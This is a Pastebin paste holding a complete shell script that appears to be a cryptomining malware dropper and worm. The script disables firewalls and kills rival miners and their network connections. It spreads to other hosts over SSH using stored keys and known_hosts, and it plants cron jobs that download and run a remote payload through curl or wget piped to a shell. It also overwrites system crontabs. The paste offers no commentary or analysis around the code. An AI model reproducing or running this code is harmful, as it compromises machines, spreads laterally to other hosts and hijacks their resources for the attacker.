Guest User

Untitled

a guest
May 14th, 2019
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.94 KB | None | 0 0
  1. #!/bin/sh
  2. mkdir /var/tmp
  3. chmod 777 /var/tmp/kworkerds
  4. touch /etc/ld.so.preload
  5. chattr -i /usr/bin/wget
  6. chmod 755 /usr/bin/wget
  7. chattr -i /usr/bin/curl
  8. chmod 755 /usr/bin/curl
  9. /etc/init.d/iptables stop
  10. service iptables stop
  11. SuSEfirewall2 stop
  12. reSuSEfirewall2 stop
  13. pkill -f sysxlj
  14. pkill -f jourxlv
  15. pkill -f sustes
  16. touch /etc/ld.so.preload
  17. netstat -antp | grep '56415' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  18. netstat -antp | grep '139.99.120.75' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  19. rm -rf /usr/lib/void.so
  20. rm -rf /etc/voidonce.sh
  21. rm -rf /usr/local/lib/libjdk.so
  22. rm -rf /usr/local/lib/libntp.so
  23. ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
  24. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  25. for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://107.174.47.156/mr.sh||wget -q -O- http://107.174.47.181/mr.sh)|sh >/dev/null 2>&1 &' & done
  26. fi
  27.  
  28. for file in /home/*
  29. do
  30. if test -d $file
  31. then
  32. if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
  33. for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL http://107.174.47.156/mr.sh||wget -q -O- http://107.174.47.181/mr.sh)|sh >/dev/null 2>&1 &' & done
  34. fi
  35. fi
  36. done
  37. sed -i '$d' /etc/crontab
  38. rm -rf /lib64/library1.so
  39. rm -rf /usr/lib64/library1.so
  40. iptables -I OUTPUT -s 167.99.166.61 -j DROP
  41. iptables -I INPUT -s 167.99.166.61 -j DROP
  42. iptables -I OUTPUT -p tcp -m string --string "pastebin" --algo bm -j DROP
  43. iptables -I OUTPUT -p udp -m string --string "pastebin" --algo kmp -j DROP
  44. rm -rf /etc/cron.monthly/oanacroner
  45. rm -rf /etc/cron.daily/oanacroner
  46. rm -rf /etc/cron.hourly/oanacroner
  47. rm -rf /usr/local/bin/dns
  48. echo "" > /etc/crontab
  49. echo "" > /etc/cron.d/root
  50. echo "" > /etc/cron.d/apache
  51. echo "" > /var/spool/cron/root
  52. echo "" > /var/spool/cron/crontabs/root
  53. chkconfig --del netdns
  54. pkill -f netdns
  55. echo "" > /etc/cron.d/system
  56. chmod 777 /var/tmp
  57. rm -rf /usr/local/bin/dns
  58. rm -rf /usr/sbin/netdns
  59. rm -rf /etc/init.d/netdns
  60. rm -rf /etc/cron.monthly/oanacroner
  61. rm -rf /etc/cron.daily/oanacroner
  62. rm -rf /etc/cron.hourly/oanacroner
  63. chattr -i /usr/local/lib/libntpd.so
  64. chmod 777 /usr/local/lib/libntpd.so
  65. rm -rf /usr/local/lib/libntpd.so
  66. sed -i '/libntpd.so/d' /etc/ld.so.preload
  67. crontab -l | sed '/pastebin.com/d' | crontab -
  68. netstat -antp | grep '27.155.87.59\|51.38.133.232' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  69. netstat -antp | grep '27.155.87.59\|51.38.133.232' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  70. netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  71. netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  72. netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13\|51.38.133.232' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  73. netstat -antp | grep '121.18.238.56\|51.38.133.232' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  74. netstat -antp | grep '121.18.238.56\|51.38.133.232' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  75. netstat -antp | grep '103.99.115.220\|51.38.133.232' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  76. netstat -antp | grep '103.99.115.220\|51.38.133.232' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  77. pkill -f /usr/bin/.sshd
  78. netstat -antp | grep '202.144.193.110:3333\|51.38.133.232' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  79. rm -rf /var/tmp/j*
  80. rm -rf /tmp/j*
  81. rm -rf /var/tmp/java
  82. rm -rf /tmp/java
  83. rm -rf /var/tmp/java2
  84. rm -rf /tmp/java2
  85. rm -rf /var/tmp/java*
  86. rm -rf /tmp/java*
  87. chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
  88. chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
  89. rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
  90. rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
  91. rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
  92. rm -rf /tmp/*index_bak*
  93. rm -rf /tmp/*httpd.conf*
  94. rm -rf /tmp/*httpd.conf
  95. echo -e "*/1 * * * * root (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /etc/cron.d/root
  96. echo -e "*/2 * * * * root (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /etc/cron.d/apache
  97. echo -e "*/30 * * * * (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /var/spool/cron/root
  98. mkdir -p /var/spool/cron/crontabs
  99. echo -e "* * * * * (curl -s http://107.174.47.156/mr.sh||wget -q -O - http://107.174.47.156/mr.sh)|bash -sh\n##" > /var/spool/cron/crontabs/root
  100. mkdir -p /etc/cron.hourly
  101. (curl -fsSL --connect-timeout 120 http://107.174.47.156/11 -o /etc/cron.hourly/oanacroner1||http://107.174.47.156/11 -O /etc/cron.hourly/oanacroner1) && chmod 755 /etc/cron.hourly/oanacroner1
  102. rm -rf /tmp/a7b104c270
  103. rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
  104. rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
  105. netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
  106. chmod 777 /var/tmp/sustse
  107. ps aux | grep -vw 'kworkerds\|sustse' | awk '{if($3>30.0) print $2}' | while read procid
  108. do
  109. kill -9 $procid
  110. done
  111. ps ax | grep /tmp/ | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
  112. ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
  113. netstat -ant|grep '185.161.70.34:3333\|202.144.193.184:3333\|205.185.122.99:3333'|grep 'ESTABLISHED'|grep -v grep
  114. if [ $? -eq 0 ]
  115. then
  116. pwd
  117. else
  118. curl -s http://107.174.47.156/2mr.sh | bash -sh || wget -q -O - http://107.174.47.156/2mr.sh | bash -sh
  119. fi
  120. sleep 2
  121. if crontab -l | grep -q "107.174.47.156"
  122. then
  123. echo "Cron exists"
  124. else
  125. crontab -r
  126. echo "Cron not found"
  127. LDR="wget -q -O -"
  128. if [ -s /usr/bin/curl ];
  129. then
  130. LDR="curl";
  131. fi
  132. if [ -s /usr/bin/wget ];
  133. then
  134. LDR="wget -q -O -";
  135. fi
  136. (crontab -l 2>/dev/null; echo "* * * * * $LDR http://107.174.47.156/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
  137. fi
  138. rm -rf /var/tmp/jrm
  139. rm -rf /tmp/jrm
  140. pkill -f 185.222.210.59
  141. pkill -f 95.142.40.81
  142. pkill -f 192.99.142.232
  143. chmod 777 /var/tmp/sustse
  144. crontab -l | sed '/185.222.210.59/d' | crontab -
Advertisement
Add Comment
Please, Sign In to add comment